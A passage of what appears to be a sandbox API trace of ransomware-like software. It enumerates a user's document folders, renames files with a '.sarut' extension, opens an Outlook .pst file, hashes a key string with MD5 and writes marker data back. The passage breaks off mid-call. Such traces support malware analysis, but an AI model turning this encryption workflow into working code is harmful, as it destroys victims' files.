FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6602e730, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xc4f8e610, ftLastAccessTime.dwHighDateTime=0x1d4ca69, ftLastWriteTime.dwLowDateTime=0xc4f8e610, ftLastWriteTime.dwHighDateTime=0x1d4ca69, nFileSizeHigh=0x0, nFileSizeLow=0x11e9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x29MLGrvh.pptx", cAlternateFileName="X29MLG~1.PPT")) returned 0 [0270.336] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0270.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0270.336] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.336] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.336] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0270.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30828a0 | out: hHeap=0x640000) returned 1 [0270.336] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0270.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.336] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0270.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0270.336] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0270.337] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.337] PathFindFileNameW (pszPath="") returned="" [0270.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.337] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6602e730, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xc4f8e610, ftLastAccessTime.dwHighDateTime=0x1d4ca69, ftLastWriteTime.dwLowDateTime=0xc4f8e610, ftLastWriteTime.dwHighDateTime=0x1d4ca69, nFileSizeHigh=0x0, nFileSizeLow=0x11e9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x29MLGrvh.pptx", cAlternateFileName="X29MLG~1.PPT")) returned 0xffffffff [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30828a0 | out: hHeap=0x640000) returned 1 [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0270.337] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0270.337] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30828a0 | out: hHeap=0x640000) returned 1 [0270.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30828a0 | out: hHeap=0x640000) returned 1 [0270.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.337] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30828a0 | out: hHeap=0x640000) returned 1 [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30828a0 | out: hHeap=0x640000) returned 1 [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.338] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.338] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.338] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.338] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.338] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.338] PathFindFileNameW (pszPath="") returned="" [0270.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.338] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6602e730, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xc4f8e610, ftLastAccessTime.dwHighDateTime=0x1d4ca69, ftLastWriteTime.dwLowDateTime=0xc4f8e610, ftLastWriteTime.dwHighDateTime=0x1d4ca69, nFileSizeHigh=0x0, nFileSizeLow=0x11e9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x29MLGrvh.pptx", cAlternateFileName="X29MLG~1.PPT")) returned 0xffffffff [0270.339] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0270.339] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.339] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0270.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.339] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0270.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.339] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.339] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.339] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.339] PathFindFileNameW (pszPath="") returned="" [0270.339] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.339] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.339] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.340] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0270.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0270.340] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0270.340] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0270.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.340] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x3056730 [0270.340] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0270.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.341] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=0) returned 1 [0270.341] CloseHandle (hObject=0x5c4) returned 1 [0270.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0270.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0270.341] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.sarut")) returned 1 [0270.342] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0270.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0270.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa8) returned 0x3056730 [0270.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0270.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5170 [0270.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082918 [0270.342] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0270.342] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0270.342] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.342] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0270.343] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.343] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.343] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.343] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.343] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.343] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.343] PathFindFileNameW (pszPath="") returned="" [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.343] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0270.343] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0270.343] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.343] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.344] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0270.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.344] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0270.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.344] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.344] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.344] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.345] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.345] PathFindFileNameW (pszPath="") returned="" [0270.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.345] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.345] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.345] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0270.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.345] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x30567e0 [0270.345] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0270.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.346] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=271360) returned 1 [0270.346] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.349] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.349] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.350] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.350] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x25805, lpOverlapped=0x0) returned 1 [0270.353] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.353] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.353] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.353] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.353] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.354] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.354] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.354] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.354] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.354] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.354] GetLastError () returned 0x0 [0270.354] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.354] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.355] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.355] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.356] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0270.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.356] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.601] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.601] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.601] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, 